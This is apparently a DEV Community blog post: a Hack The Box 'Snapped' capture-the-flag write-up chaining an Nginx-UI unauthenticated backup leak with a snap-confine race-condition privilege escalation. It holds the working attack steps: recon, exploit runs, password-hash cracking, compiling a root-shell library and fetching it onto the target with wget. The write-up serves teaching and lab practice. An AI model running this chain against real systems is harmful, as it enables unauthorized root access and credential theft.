DEV Community

Cover image for Hack The Box - Snapped Writeup
Vall3nSs
Vall3nSs

Posted on

Hack The Box - Snapped Writeup

Machine: Snapped
Difficulty: Hard
OS: Linux

 

Overview

Snapped is a hard-difficulty Linux machine that chains two recent CVEs to go from
unauthenticated access all the way to full root.

  • CVE-2026–27944 — Nginx-UI unauthenticated backup endpoint that returns its own decryption key, leaking credentials from the internal database.
  • CVE-2026–3888 — A TOCTOU race condition between snap-confine and systemd-tmpfiles, exploited via an AF_UNIX socket trick to hijack the dynamic linker on a SUID-root binary.

Reconnaissance

 

Nmap

nmap [target-ip] -sV -sC -o scans/nmap
Enter fullscreen mode Exit fullscreen mode

Nmap Scan

The scan reveals two open TCP ports: SSH (22) and HTTP (80). The HTTP server
redirects to http://snapped.htb, so we add that to our hosts file.

echo "[target-ip] snapped.htb" | sudo tee -a /etc/hosts
Enter fullscreen mode Exit fullscreen mode

 

Initial Web Enumeration

Web Page

The main site at snapped.htb is a static page with no obvious attack surface. Time to
look for virtual hosts.

 

Subdomain Discovery

We use ffuf to brute-force virtual hosts, filtering responses with the same size as
the default "not found" page (154 bytes):

ffuf -u http://snapped.htb -H "Host: FUZZ.snapped.htb" \
  -w /usr/share/wordlists/dirb/common.txt -fs 154
Enter fullscreen mode Exit fullscreen mode

Vhost Fuzzing

We find a valid subdomain: admin. Add it to /etc/hosts and navigate to it.

Nginx UI

The subdomain serves a Nginx-UI admin panel — a third-party web interface for
managing Nginx configurations.


Exploitation — CVE-2026–27944 (Nginx-UI Unauthenticated Backup Disclosure)

 

What is the vulnerability?

Nginx-UI exposes a /api/backup endpoint that creates and serves a full archive of all
Nginx and Nginx-UI configuration files — including its internal SQLite database, SSL
private keys, and session tokens. The critical flaw is two-fold:

  1. The endpoint requires no authentication — any external user can call it directly.
  2. The backup archive is AES-encrypted, but the decryption key is returned in the X-Backup-Security response header of the very same request.

This means an attacker can download the backup and immediately decrypt it in a single
unauthenticated HTTP request. There is no need to brute-force or guess anything at this
stage.

Nginx CVE

 

Setting up the exploit

nano cve.py
python3 -m venv venv
source venv/bin/activate
pip install pycryptodome
Enter fullscreen mode Exit fullscreen mode

We need pycryptodome because the backup uses AES encryption, and the script needs
this library to decrypt the archive using the key extracted from the response header.

Setting up CVE

 

Running the exploit

python3 cve.py --target http://admin.snapped.htb --out backup.bin --decrypt
Enter fullscreen mode Exit fullscreen mode

Running Exploit

Under the hood, the script does the following:

  1. Sends a GET /api/backup request with no credentials.
  2. Reads the X-Backup-Security header from the response to obtain the AES key.
  3. Decrypts the backup archive using that key.
  4. Extracts the contents to backup_extracted/.

Initial Access

 

Finding credentials in the backup

Finding SQLite Database

After exploring backup_extracted/, we find a SQLite database file — this is Nginx-UI's
internal user database. We can inspect it directly:

sqlite3 database.db
.tables
SELECT * FROM users;
Enter fullscreen mode Exit fullscreen mode

SQLite Dump

We find a user jonathan with a bcrypt password hash:

$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq
Enter fullscreen mode Exit fullscreen mode

 

Cracking the hash

Save this to hash.txt and crack it offline with Hashcat. Bcrypt is slow by design
(mode -m 3200), but weak passwords are still crackable:

hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
Enter fullscreen mode Exit fullscreen mode

Running Hashcat

![Hashcat Results(https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2e4bb97jgutf2bncf7yp.png)

The password cracks successfully: linkinpark

 

SSH as jonathan

ssh jonathan@snapped.htb
cat /home/jonathan/user.txt
Enter fullscreen mode Exit fullscreen mode

SSH Access

User Flag

User flag captured.


Privilege Escalation — CVE-2026–3888 (snap-confine TOCTOU LPE)

 

Discovering snap

ps aux
Enter fullscreen mode Exit fullscreen mode

Snap Discovery

We can see snapd running on the system. Let's check its version:

snap version
Enter fullscreen mode Exit fullscreen mode

Snap Version

The version is 2.63.1, which is vulnerable to CVE-2026–3888.

 

What is the vulnerability?

This is a TOCTOU (Time-of-Check to Time-of-Use) race condition. Here's what normally
happens when a snap application starts:

  1. snap-confine (a SUID-root binary that sets up the snap sandbox) creates a private working directory under /tmp/snap.*/.
  2. systemd-tmpfiles periodically cleans up stale temporary directories — including those left behind by snap.
  3. snap-confine then performs a bind-mount sequence, using that /tmp directory to set up the application's shared library environment.

The race condition arises between steps 2 and 3: after systemd-tmpfiles deletes
the stale directory, but before snap-confine re-creates and uses it, an attacker can
recreate the directory with attacker-controlled content. If snap-confine then
bind-mounts this poisoned directory into the snap sandbox, it will use the attacker's
fake shared libraries.

Because snap-confine is SUID root, hijacking its dynamic linker means we can
execute arbitrary code as root.

Winning the race consistently is the hard part. The exploit uses an AF_UNIX socket
trick
: by applying backpressure on a socket that snap-confine is trying to write to,
we can pause its execution at precisely the right point in the bind-mount sequence —
giving us a reliable window to swap in our malicious directory before it proceeds.

Snap CVE

 

Setting up the exploit

git clone https://github.com/TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE.git
cd CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE

# Compile the main exploit binary (statically linked so it runs without deps)
gcc -O2 -static -o exploit exploit_suid.c

# Compile the malicious shared library that will be injected
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
Enter fullscreen mode Exit fullscreen mode

The librootshell.so is a fake shared library. When snap-confine (running as root)
loads it via the hijacked dynamic linker, it executes our payload — spawning a root shell.

Snap Exploit - Setup

 

Transferring to the target

On your machine, start a simple HTTP server:

python3 -m http.server 80
Enter fullscreen mode Exit fullscreen mode

On the target machine:

wget http://<your-ip>/exploit
wget http://<your-ip>/librootshell.so
chmod +x exploit
Enter fullscreen mode Exit fullscreen mode

Transfering Files

 

Getting root

./exploit librootshell.so
Enter fullscreen mode Exit fullscreen mode

Running Snap Exploit

The exploit may take a few minutes — it is actively racing against systemd-tmpfiles
and snap-confine. Once it wins the race and the shared library is loaded, you'll get
a root shell.

cat /root/root.txt
Enter fullscreen mode Exit fullscreen mode

Root Flag

Root flag captured.


Conclusion

Snapped is an excellent machine for understanding how real-world CVEs work in
combination. A few key takeaways:

CVE-2026–27944 is a reminder that authenticated endpoints must be enforced
server-side — not assumed. Returning a decryption key in the same response as the
encrypted data completely undermines any notion of confidentiality.

CVE-2026–3888 demonstrates why TOCTOU bugs in privileged binaries are so
dangerous. The combination of a SUID binary, a predictable temporary directory, and a
scheduled cleanup daemon creates a reliable exploitation window. The AF_UNIX socket
trick to slow down execution is an elegant technique worth understanding in depth.

Together, they show how an entirely unauthenticated attacker on port 80 can become
root on a Linux system through a well-researched chain.

Top comments (0)